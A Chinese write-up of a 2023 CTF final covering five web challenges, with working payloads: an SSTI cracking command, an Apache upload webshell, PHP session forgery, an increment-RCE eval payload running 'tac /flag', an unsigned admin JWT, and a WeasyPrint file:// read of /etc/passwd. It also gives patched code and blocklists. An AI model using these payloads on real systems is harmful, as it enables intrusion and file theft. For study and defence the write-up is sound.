2023年“羊城杯”网络安全大赛 决赛 AWDP [Break+Fix] Web方向题解wp 全

终于迎来了我的第一百篇文章。

这次决赛赛制是AWDP。Break+Fix,其实就是CTF+Fix,Fix规则有点难崩。Break和Fix题目是一样的。

image-20230912103455972

image-20230909091508969

总结一下:败北,还是太菜了得继续修炼一下。

一、Break

ezSSTI

看到是SSTI,焚靖直接一把梭了。

python -m fenjing crack --method GET --inputs name --url 'http://10.1.110.2:20000/'

瞎了,执行ls /时候flag文件在命令旁边没看见,find命令找了好久呜呜呜。

痛失一血,只有二血。。。。

image-20230909094111626

202309111635737

202309111635738

源码如下:

from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)

easyupload

题目描述:小明同学学会了用apache搭建网站,你能帮助他找到存在的安全问题么?

开题是一个非常猛男的网页,需要登录。

image-20230909124248353

本来想爆破的,看了一下源码,发现账号密码就在源码里面。

image-20230909124330158

登录后是一个文件上传的界面。

题目提到了Apache,那么我们首先想到的就是Apache解析漏洞啦。

image-20230912093659357

上传文件名为shell.php.txt,检查时候php拿到的是.txt后缀,解析时候Apache把文件当成是.php后缀。

image-20230909124739700

访问上传文件的链接在源码里面。

image-20230909124711705

payload:

1=system('tac /flag.txt');

image-20230909124622289

BabyMemo

这题的话知识点就是php的session。主要考察的是代码逻辑漏洞,题目源码中本来用于过滤非法字符串../的功能经过一系列操作之后可以用于伪造session文件。

注,自己部署的话记得在index.php中加一句session_start();

memo翻译过来是备忘录。

image-20230909121606062

源码见fix。

主要是memo.php中的这两段代码。

1、给我们定义任意后缀的权力,但是过滤了../

image-20230914132247862

然后把文件写入/tmp目录(也是存放session文件的目录),文件名是用户名_随机数.后缀。下图是比赛时的一张截图。

image-20230909132221775

这里先放一部分思路,就是我们自定义后缀名为./时候,文件名是用户名_随机数../,经过过滤替换后变成用户名_随机数

php的session是存放在文件中的 默认位置是/tmp/sess_PHPSESSID。如果用户名是sess,PHPSESSID设置成随机数,那么文件名就是sess_PHPSESSID。我们写入的文件就代替了原先的session文件成为程序现在的session文件。

2、如果$_SESSION['admin'] === true,那就给我们flag。

image-20230914132217695


总结一下思路就是伪造session文件使$_SESSION['admin'] === true

当时题目用的session处理器就是默认的php处理器。session文件的内容和下图相似:

image-20230914133124180

我们伪造的文件内容应该是admin|b:1;username|s:4:"sess";memos|a:2:{i:0;s:3:"aaa";i:1;s:3:"aaa";}

因为自定义后缀的话,写入文件的内容是经过一次rot13编码的,所以我们写入的应该是rot13解码后的内容nqzva|o:1;hfreanzr|f:4:"frff";zrzbf|n:2:{v:0;f:3:"nnn";v:1;f:3:"nnn";}

image-20230914133701122

image-20230914135039197

点击下载,抓包。然后我们自定义后缀,写入、下载文件。

用户名:sess
POST:compression=./&backup=1

文件被写入到了/tmp/sess_41983787c3a288d9

image-20230914135304898

image-20230914135407768

此时随机数是41983787c3a288d9,如果我们把它设置成PHPSESSID,那就导致刚刚我们写入的文件变成了session文件了,文件内容admin|b:1导致我们可以满足$_SESSION['admin'] === true,直接获得了flag。

image-20230914135621192

fuzee_rce

爆破得出账号admin,密码admin123

image-20230909120204890

登录后自动跳转到/goods.php路由,看不见源码,啥都看不见。

扫了一下后台还存在一个check.php文件,应该是用来限制RCE过滤的。

image-20230909115538531

看不见源码的话,猜测这里是和[羊城杯 2020]easyser那题一样,需要自己找到传参名字然后题目才会返回更多的信息。Fix阶段看了一下源码,确实如此,需要GET传参对应参数后才会高亮源码。

一开始拿arjun工具扫了一下没有发现参数。其实应该直接拿burp爆破的。

arjun -u http://10.1.110.2:20003/goods.php

接下来是部署在本地的复现。

首先是在/goods.php路由暴力爆破参数。得到参数是w1key。(爆破量有点大,burp太慢的话可以拿python脚本爆)

题目中GET提交w1key参数得到源码。

image-20230912095505338

<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {highlight_file(__FILE__);$w1key = $_GET['w1key'];if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {echo "good";} else {die("Please input a valid number!");}
}
if (isset($_POST['w1key'])) {$w1key = $_POST['w1key'];strCheck($w1key);eval($w1key);
}
?> 

首先是第一个if,GET提交的w1key要满足is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999

聚焦到最后两个条件,首先想到的就是科学计数法。payload:?w1key=1e9

但是奇怪的是,这个payload本地可以过,题目过不了,嘶。

image-20230912135031590

image-20230912135044007

修改一下vps上的源码看看是哪个条件没过。

发现是intval($w1key) == $w1key条件不满足。

image-20230912143238596

这个判断如果改成intval(1e9) == '1e9'就返回true

研究了一下,是php版本问题。把我部署题目的vps上的php版本改成7就可以了,当然,我本地就是php7。

image-20230912144218442

payload:

?w1key=1e9

原理:

is_numeric($w1key)         //is_numeric函数可识别科学计数法
intval($w1key) == $w1key   //intval('1e9') === 1,$w1key === '1e9' =='1'
strlen($w1key) <= 3        //1e9 长度是3
$w1key > 999999999         //1e9 值是1000000000,多1

然后是第二个if,burp跑一下单个字符的fuzz看看哪些能用。可以用的字符是: .;'/[]=$()+/_

image-20230912145131469

一看就是自增RCE,payload库里面挑一个合适的。

$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);
//传参是  %ff=system&_=cat /f1agaaa

payload:

GET:?w1key=1e9POST:w1key=$%ff=_(%ff/%ff)[%ff];%2b%2b$%ff;$_=$%ff.$%ff%2b%2b;$%ff%2b%2b;$%ff%2b%2b;$_=_.$_.%2b%2b$%ff.%2b%2b$%ff;$$_[%ff]($$_[_]);&%ff=system&_=tac /flag

image-20230912153835053

waf源码如下。

image-20230912094655747

Oh! My PDF

python语言的,部署本地倒是废了一些功夫。记录一下。

首先把源码包cv到vps上面。

image-20230915165731964

然后把需要的库全安装好。

cd到源码放的目录下,运行nohup python3 -u app.py > out.log 2>&1 &

如果报错OSError: cannot load library 'pango-1.0-0': pango-1.0-0: cannot open shared object file: No such file or directory. Additionally, ctypes.util.find_library() did not manage to locate a library called 'pango-1.0-0'那就先运行命令apt-get install -y libpangocairo-1.0-0。其他的报错基本上是库没有。

成功运行nohup python3 -u app.py > out.log 2>&1 &后,同目录下会生成两个文件:
image-20230915170014474

检查out.log。发现题目源码是运行在了8080端口。

image-20230915170057248

访问vps-ip:8080,发现题目源码运行成功!

image-20230915170130418

坑点就是import jwt,但是安装的包是PyJWT

重启服务ps -ef | grep python | grep -v grep | awk '{print $2}' | xargs kill -9

参考文章:

如何优雅的部署Python应用到Linux服务器?_python能否直接向linux储存文件_緈諨の約錠的博客-CSDN博客

Python代码部署到Linux(亲测成功)_python程序部署到linux_繁星、晚风的博客-CSDN博客

大码王的博客 (cnblogs.com)

手把手教你如何从零开始部署一个Python项目到服务器 - 知乎 (zhihu.com)


开始做题。源码如下:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import osapp = Flask(__name__)# 设置应用的秘密密钥和数据库URI
app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'# 初始化数据库
db = SQLAlchemy(app)# 正则表达式用于检查URL的有效性
URL_REGEX = re.compile(r'http(s)?://'  # http或httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)# 用户模型
class User(db.Model):id = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(80), unique=True, nullable=False)password = db.Column(db.String(80), nullable=False)is_admin = db.Column(db.Boolean, nullable=False, default=False)# 创建数据库
def create_database(app):with app.app_context():db.create_all()# 检查URL的有效性
def is_valid_url(url):if not URL_REGEX.match(url):return Falsereturn True# 用户注册
@app.route('/register', methods=['POST','GET'])
def register():if request.method == 'POST':try:data = request.formhashed_password = generate_password_hash(data['password'])new_user = User(username=data['username'], password=hashed_password, is_admin=False)db.session.add(new_user)db.session.commit()return render_template('register.html', message='User registered successfully')except:return render_template('register.html', message='Register Error!'), 500else:return render_template('register.html', message='please register first!')# 用户登录
@app.route('/login', methods=['POST', 'GET'])
def login():# 处理针对 '/login' 路径的 HTTP GET 和 POST 请求if request.method == 'POST':# 如果是 POST 请求,表示用户正在尝试登录data = request.form  # 获取从用户提交的表单中获取的数据# 通过用户名从数据库中查找用户记录user = User.query.filter_by(username=data['username']).first()# 检查用户是否存在且密码是否匹配if user and check_password_hash(user.password, data['password']):# 如果用户存在且密码匹配# 生成访问令牌(JWT),包括用户名和是否为管理员的信息access_token = jwt.encode({'username': user.username, 'isadmin': False},app.config['SECRET_KEY'],  # 使用配置的密钥进行签名algorithm="HS256"  # 使用 HS256 算法进行签名)# 创建一个 Flask 响应对象,重定向到名为 'ohmypdf' 的路由res = make_response(redirect(url_for('ohmypdf')))# 在响应中设置 Cookie,将访问令牌存储在客户端res.set_cookie('access_token', access_token)# 返回响应和状态码 200(表示成功)return res, 200else:# 如果用户不存在或密码不匹配,返回带有错误消息的登录页面和状态码 500(服务器内部错误)return render_template('login.html', message='Invalid username or password'), 500else:# 如果是 HTTP GET 请求,返回登录页面return render_template('login.html'), 200# 主页,关键看这里
@app.route('/', methods=['GET', 'POST'])
def ohmypdf():# 从请求中获取访问令牌(如果存在)access_token = request.cookies.get('access_token')if not access_token:# 如果没有访问令牌,将用户重定向到登录页面return redirect(url_for("login"))try:# 尝试解码访问令牌,使用应用程序的秘密密钥和HS256算法decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})isadmin = decoded_token['isadmin']except:# 如果解码失败,返回登录页面并显示“Invalid access token”消息return render_template('login.html', message='Invalid access token')if not isadmin:# 如果用户不具有管理员权限,返回错误页面,HTTP状态码为403 Forbiddenreturn render_template('index.html', message='You do not have permission to access this resource. Where is the admin?!'), 403if request.method == 'POST':# 如果收到【POST】请求的参数【url】url = request.form.get('url')if is_valid_url(url):try:# 创建HTML对象,从给定的URL获取内容html = HTML(url=url)# 生成PDF文件,名字是output.pdfpdf = html.write_pdf()response = make_response(pdf)response.headers['Content-Type'] = 'application/pdf'response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'return responseexcept Exception as e:# 如果生成PDF出错,返回错误消息,HTTP状态码为500 Internal Server Errorreturn f'Error generating PDF', 500else:# 如果URL无效,返回错误消息return f'Invalid URL!'else:# 如果是GET请求,渲染名为“index.html”的模板并返回return render_template("index.html"), 200if __name__ == '__main__':create_database(app)app.run(host='0.0.0.0', port=8080)

先简要说明一下全题思路。

注册登录用户后,伪造JWT使自己成为admin。然后利用Python中WeasyPrint库的漏洞读取任意文件。


首先伪造JWT,这里密钥由os.urandom(10)生成,无法预测。

但是看源码如何解密JWT的,没有验证密钥。所以这里的JWT可以用空密钥来伪造。

# 尝试解码访问令牌,使用应用程序的秘密密钥和HS256算法                                                                         
decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"], options={"verify_signature": False})isadmin = decoded_token['isadmin']      

先看看JWT构成。

image-20230915221536301

然后用脚本伪造空密钥,isadmin为true的JWT。

import base64def jwtBase64Encode(x):return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = '{"typ": "JWT","alg": "HS256"}'
payload = '{"username": "admin","isadmin": true}'print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')#eyJ0eXAiOiAiSldUIiwiYWxnIjogIkhTMjU2In0.eyJ1c2VybmFtZSI6ICJhZG1pbiIsImlzYWRtaW4iOiB0cnVlfQ.

显然,现在我们已经是admin了。

image-20230915222128834


然后就是利用Python中WeasyPrint库的漏洞读取任意文件,这部分的原题是[FireshellCTF2020]URL TO PDF

先看看对输入URL的限制。is_valid_url(url),is_valid_url函数中又是用URL_REGEX.match(url)来判断的。归根结底,我们输入的url要满足以下正则表达式。

URL_REGEX = re.compile(r'http(s)?://'  # http或httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)

这段正则表达式 函数URL_REGEX() 用于匹配 URL 地址。下面是它的具体含义:

  • http(s)?://: 匹配以 “http://” 或 “https://” 开头的部分。其中 (s)? 表示 “s” 字符可选,即匹配 “http://” 或 “https://”。
  • (?: ... )+: 这是一个非捕获分组,用于匹配一个或多个字符。它包含了以下内容:
    • [a-zA-Z]: 匹配大小写字母。
    • [0-9]: 匹配数字。
    • [$-_@.&+]: 匹配一些特殊字符,包括 “$”, “-”, “_”, “@”, “.”, “&”, “+”。
    • [!*\(\),]: 匹配一些其他特殊字符,包括 “!”, “*”, “(”, “)”, “,”。
    • (?:%[0-9a-fA-F][0-9a-fA-F]): 匹配以 “%” 开头的两位十六进制数,通常用于 URL 编码。

综合起来,这个正则表达式可以有效地匹配标准的 URL 地址,包括常见的字符和特殊字符。所以说我们只能输入http(s)://什么什么,不能直接使用伪协议file:///etc/passwd

然后就是利用WeasyPrint库的漏洞了。

做题时候如果看不见源码,怎么验证是WeasyPrint库?vps开个监听,然后PDF转换器访问对应端口即可。可以看见在U-A头里面能看见WeasyPrint,这也算是一种特征。

image-20230916103727334

WeasyPrint 是一个 Python 的虚拟 HTML 和 CSS 渲染引擎,可以用来将网页转成 PDF 文档。旨在支持 Web 标准的打印。

WeasyPrint使用了自己定义的一套HTML标签,使得无法在其上执行JS。但是WeasyPrint会把所有它支持的东西 都请求一遍然后放在 PDF 里。

这里出现了漏洞,WeasyPrint可以解析解析 <link>标签,当你使用<link>标签时,他会把标签指向的内容给下下来返回在PDF内。我们在 <link> 标签内 href 加载 file:// 就可以实现 SSRF + 任意文件读取。

开始实战:

vps上放一个link.html,内容如下:

<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///etc/passwd">
</body>
</html>

接下来用PDF生成器访问http://vps-ip/link.html

image-20230916104147215

下载下来的 PDF虽说没有显示,但是放到binwalk -e 文件名后打开解压的文件 中看确实能看到file://协议读取到的内容,提取出即可。

image-20230916104319873

同理,我们把<link rel="attachment" href="file:///etc/passwd">换成<link rel="attachment" href="file:///flag">就能读取flag文件。

参考文章:

挖洞经验 | 打车软件Lyft费用报告导出功能的SSRF漏洞 - FreeBuf网络安全行业门户

Hackerone 50m-ctf writeup(第二部分) - 先知社区 (aliyun.com)

HackerOne的ssrf漏洞报告 | CN-SEC 中文网

深入浅出SSRF(二):我的学习笔记 | 悠远乡 (1dayluo.github.io)

从PDF导出到SSRF | CTF导航 (ctfiot.com)

[FireshellCTF2020]web wp | Z3ratu1’s blog

[BUUCTF][FireshellCTF2020]URL TO PDF_Y4tacker的博客-CSDN博客

[FireshellCTF2020]URL_TO_PDF (proben1.github.io)


**做后补充:**做完想到当时决赛是断网的,不能使用vps。问了一下tel爷,我们可以在自己插网线的机器上开http,因为和服务器同属于一个内网,访问ip可以访问到。

二、Fix

web1

初始源码:

from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)

修后源码,正则过滤部分多加了。

但是没过,很奇怪为什么过滤了单个花括号{及其URL编码都不行,当时check后 也不回显是waf多了还是少了。迷。

from flask import Flask,request
from jinja2 import Template
import reapp = Flask(__name__)@app.route("/")
def index():name = request.args.get('name','CTFer<!--?name=CTFer')if not re.findall(r"'|_|\\x|\\u|{{|\+|attr|\.| |class|init|globals|popen|system|env|exec|shell_exec|flag|passthru|proc_popen|{|set|\[|\(|%7b|eval|1|2|3|4|5|6|7|8|9",name):t = Template("hello "+name)return t.render()else:t = Template("Hacker!!!")return t.render()if __name__ == "__main__":app.run(host="0.0.0.0",port=5000)

贴一个Enterpr1se师傅的waf:

还需要过滤引号、斜杠等符号。

image-20230912133714384

web2

初始源码:(dadaadwdwfegrgewg.php

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (!in_array($file_ext, $deny_ext)) {$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?><div id="upload_panel"><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form><div id="msg"><?php if($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div>
</div>

修后源码:(黑名单变成白名单+只允许出现一个点号)前者防止.htaccess配置文件,后者防Apache解析漏洞。

<?php
header("Content-type: text/html;charset=utf-8");
error_reporting(1);define("WWW_ROOT",$_SERVER['DOCUMENT_ROOT']);
define("APP_ROOT",str_replace('\\','/',dirname(__FILE__)));
define("APP_URL_ROOT",str_replace(WWW_ROOT,"",APP_ROOT));
define("UPLOAD_PATH", "upload");
?>
<?php$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {if (file_exists(UPLOAD_PATH)) {$deny_ext = array(".jpg",".png",".jpeg");         //【修改点一】$file_name = trim($_FILES['upload_file']['name']);$file_ext = strrchr($file_name, '.');$file_ext = strtolower($file_ext); //转换为小写$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA$file_ext = trim($file_ext); //收尾去空if (in_array($file_ext, $deny_ext)&&substr_count($_FILES['upload_file']['name'], '.')===1) {//【修改点二】$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH.'/'.$file_name;if (move_uploaded_file($temp_file, $img_path)) {$is_upload = true;} else {$msg = '上传出错!';}} else {$msg = '此文件不允许上传!';}} else {$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';}
}
?><div id="upload_panel"><form enctype="multipart/form-data" method="post" onsubmit="return checkFile()"><p>请选择要上传的图片:<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form><div id="msg"><?phpif($msg != null){echo "提示:".$msg;}?></div><div id="img"><?phpif($is_upload){echo '<img src="'.$img_path.'" width="250px" />';}?></div>
</div>

赛后和师傅们讨论了发现,除了我那种Apache解析漏洞的做法,还能通过.htaccess配置文件修改配置项解析png等格式的图片。属于是一题多解了,两个都不是非预期,都会check。

web3

初始源码:

(index.php)

<?php
ob_start();if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (isset($_POST['username']) && !empty($_POST['username'])) {$_SESSION['username'] = $_POST['username'];if (!isset($_SESSION['memos'])) {$_SESSION['memos'] = [];}echo '<script>window.location.href="memo.php";</script>';exit;} else {echo '<script>window.location.href="index.php?error=1";</script>';exit;}
}
ob_end_flush();
?>
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Simple Memo Website</title><style>body {background-color: beige;font-family: Arial, sans-serif;}h1 {color: darkslategray;}form {margin: 30px auto;width: 80%;padding: 20px;background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);}label {display: block;margin-bottom: 10px;}input[type="text"] {width: 100%;padding: 10px;border-radius: 5px;border: none;margin-bottom: 20px;}button[type="submit"] {background-color: darkslategray;color: white;border: none;padding: 10px 20px;border-radius: 5px;cursor: pointer;}button[type="submit"]:hover {background-color: steelblue;}</style>
</head><body><h1>Login</h1><form action="index.php" method="post"><label for="username">Username:</label><input type="text" name="username" id="username" required><button type="submit">Login</button></form>
</body></html>

memo.php

<?php
session_start();if (!isset($_SESSION['username'])) {header('Location: index.php');exit();
}if (isset($_POST['memo']) && !empty($_POST['memo'])) {$_SESSION['memos'][] = $_POST['memo'];
}if (isset($_POST['backup'])) {$backupMemos = implode(PHP_EOL, $_SESSION['memos']);$random = bin2hex(random_bytes(8));$filename = '/tmp/' . $_SESSION['username'] . '_' . $random;// Handle compression method and file extension$compressionMethod = $_POST['compression'] ?? 'none';switch ($compressionMethod) {case 'gzip':$compressedData = gzencode($backupMemos);$filename .= '.gz';$mimeType = 'application/gzip';break;case 'bzip2':$compressedData = bzcompress($backupMemos);$filename .= '.bz2';$mimeType = 'application/x-bzip2';break;case 'zip':$zip = new ZipArchive();$zipFilename = $filename . '.zip';if ($zip->open($zipFilename, ZipArchive::CREATE) === true) {$zip->addFromString($filename, $backupMemos);$zip->close();}$filename = $zipFilename;$mimeType = 'application/zip';break;case 'none':$compressedData = $backupMemos;$filename .= '.txt';$mimeType = 'text/plain';break;default:// I don't know what extension this is, but I'll still give you the file. Don't play any tricks, okay~$compressedData = str_rot13($backupMemos);$filename .= '.' . $compressionMethod;$mimeType = 'text/plain';while (strpos($filename, '../') !== false) {$filename = str_replace('../', '', $filename);}break;}file_put_contents($filename, $compressedData);// Send headers and output file contentheader('Content-Description: File Transfer');header('Content-Type: ' . $mimeType);header('Content-Disposition: attachment; filename="' . basename($filename) . '"');header('Content-Length: ' . filesize($filename));readfile($filename);
}
?>
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Memo</title><style>body {background-color: beige;font-family: Arial, sans-serif;}h1,h2 {color: darkslategray;margin-top: 30px;margin-bottom: 10px;}form {margin: 30px auto;width: 80%;padding: 20px;background-color: white;border-radius: 10px;box-shadow: 0px 0px 10px 2px rgba(0, 0, 0, 0.3);}label {display: block;margin-bottom: 10px;}input[type="text"],select {width: 100%;padding: 10px;border-radius: 5px;border: none;margin-bottom: 20px;}button[type="submit"] {background-color: darkslategray;color: white;border: none;padding: 10px 20px;border-radius: 5px;cursor: pointer;}</style>
</head><body><h1>Welcome, <?php echo htmlspecialchars($_SESSION['username']); ?></h1><form action="memo.php" method="post"><label for="memo">New Memo:</label><input type="text" name="memo" id="memo" required><button type="submit">Add Memo</button></form><h2>Here 1s Your Memos:</h2><ul><?php foreach ($_SESSION['memos'] as $memo) : ?><li><?php echo htmlspecialchars($memo); ?></li><?php endforeach; ?><?php if (isset($_SESSION['admin']) && $_SESSION['admin'] === true) : ?><li><?php system("cat /flag"); ?></li> <!-- Only admin can get flag --><?php endif ?></ul><form action="memo.php" method="post"><label for="compression">Compression method:</label><select name="compression" id="compression"><option value="none">None</option><option value="gzip">GZIP</option><option value="bzip2">BZIP2</option><option value="zip">ZIP</option></select><button type="submit" name="backup" value="1">Export Backup</button></form>
</body></html>

未知攻焉知防。会打的话其实过滤很简单,对用户名加一个限制使其不等于sess就行了。

index.php加个waf就行了。

<?php
ob_start();if ($_SERVER['REQUEST_METHOD'] === 'POST') {if (isset($_POST['username']) && !empty($_POST['username'])) {if($_POST['username']!="sess"){$_SESSION['username'] = $_POST['username'];}if (!isset($_SESSION['memos'])) {$_SESSION['memos'] = [];}echo '<script>window.location.href="memo.php";</script>';exit;} else {echo '<script>window.location.href="index.php?error=1";</script>';exit;}
}
ob_end_flush();
?>

web4

初始源码:

goods.php文件

<?php
error_reporting(0);
include ("check.php");
if (isset($_GET['w1key'])) {highlight_file(__FILE__);$w1key = $_GET['w1key'];if (is_numeric($w1key) && intval($w1key) == $w1key && strlen($w1key) <= 3 && $w1key > 999999999) {echo "good";} else {die("Please input a valid number!");}
}
if (isset($_POST['w1key'])) {$w1key = $_POST['w1key'];strCheck($w1key);eval($w1key);
}
?>

check.php文件

<?php
function strCheck($w1key)
{if (is_string($w1key) && strlen($w1key) <= 83) {if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\]/",$w1key)){return $w1key;}else{die("黑客是吧,我看你怎么黑!");  }}else{die("太长了");      }}   

check.php文件多加点过滤就能fix。(百分号%(%)一定要加)

<?php
function strCheck($w1key)
{if (is_string($w1key) && strlen($w1key) <= 83) {if (!preg_match("/[1-9a-zA-Z!,@#^&%*:{}\-<\?>\"|`~\\\\_$()+=;\%]/",$w1key)){return $w1key;}else{die("黑客是吧,我看你怎么黑!");}}else{die("太长了");}
}

web5

初始源码:

from flask import Flask, request, jsonify, make_response, render_template, flash, redirect, url_for
from flask_sqlalchemy import SQLAlchemy
import jwt
import re
from urllib.parse import urlsplit
from flask_weasyprint import HTML, render_pdf
from werkzeug.security import generate_password_hash, check_password_hash
import osapp = Flask(__name__)app.config['SECRET_KEY'] = os.urandom(10)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'db = SQLAlchemy(app)URL_REGEX = re.compile(r'http(s)?://'  # http or httpsr'(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*\(\),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+'
)class User(db.Model):id = db.Column(db.Integer, primary_key=True)username = db.Column(db.String(80), unique=True, nullable=False)password = db.Column(db.String(80), nullable=False)is_admin = db.Column(db.Boolean, nullable=False, default=False)def create_database(app):with app.app_context():db.create_all()def is_valid_url(url):if not URL_REGEX.match(url):return Falsereturn True@app.route('/register', methods=['POST','GET'])
def register():if request.method == 'POST':try:data = request.formhashed_password = generate_password_hash(data['password'])new_user = User(username=data['username'], password=hashed_password, is_admin=False)db.session.add(new_user)db.session.commit()return render_template('register.html',message='User registered successfully')except:return render_template('register.html',message='Register Error!'),500else:return render_template('register.html',message='please register first!')@app.route('/login', methods=['POST','GET'])
def login():if request.method == 'POST':data = request.formuser = User.query.filter_by(username=data['username']).first()if user and check_password_hash(user.password, data['password']):access_token = jwt.encode({'username': user.username, 'isadmin':False}, app.config['SECRET_KEY'], algorithm="HS256")res = make_response(redirect(url_for('ohmypdf')))res.set_cookie('access_token',access_token)return res, 200else:return render_template('login.html',message='Invalid username or password'), 500else:return render_template('login.html'), 200@app.route('/', methods=['GET', 'POST'])
def ohmypdf():access_token = request.cookies.get('access_token')if not access_token:return redirect(url_for("login"))try:decoded_token = jwt.decode(access_token, app.config['SECRET_KEY'], algorithms=["HS256"],options={"verify_signature": False})isadmin = decoded_token['isadmin']except:return render_template('login.html',message='Invalid access token')if not isadmin:return render_template('index.html',message='You do not have permission to access this resource. Where is the admin?!'), 403if request.method == 'POST':url = request.form.get('url')if is_valid_url(url):try:html = HTML(url=url)pdf = html.write_pdf()response = make_response(pdf)response.headers['Content-Type'] = 'application/pdf'response.headers['Content-Disposition'] = 'attachment; filename=output.pdf'return responseexcept Exception as e:return f'Error generating PDF', 500else:return f'Invalid URL!'else:return render_template("index.html"), 200if __name__ == '__main__':create_database(app)app.run(host='0.0.0.0', port=8080)

这题暂时没打听到哪位佬修出来了。个人感觉可以从jwt检验密钥检验转PDF文件内容禁止加载html文件换一个PDF库这些方面入手。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/140296.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

AI人体行为分析:玩手机/打电话/摔倒/攀爬/扭打检测及TSINGSEE场景解决方案

一、AI人体行为分析技术概述及场景 人体姿态分析/行为分析/动作识别AI算法&#xff0c;是一种利用人工智能技术对人体行为进行检测、跟踪和分析的方法。通过计算机视觉、深度学习和模式识别等技术&#xff0c;可以实现对人体姿态、动作和行为的自动化识别与分析。 在场景应用…

005-第一代光电小工具(一)

第一代光电小工具(一) 文章目录 第一代光电小工具(一)项目介绍大致原理描述核心控件QCustomPlot关于QCustomPlot 播放音频软件截图 关键字&#xff1a; Qt、 Qml、 QCustomPlot、 曲线、 SQLite 项目介绍 欢迎来到我们的 QML & C 项目&#xff01;这个项目结合了 QML&…

解决因为修改SELINUX配置文件出错导致Faild to load SELinux poilcy无法进入CentOS7系统的问题

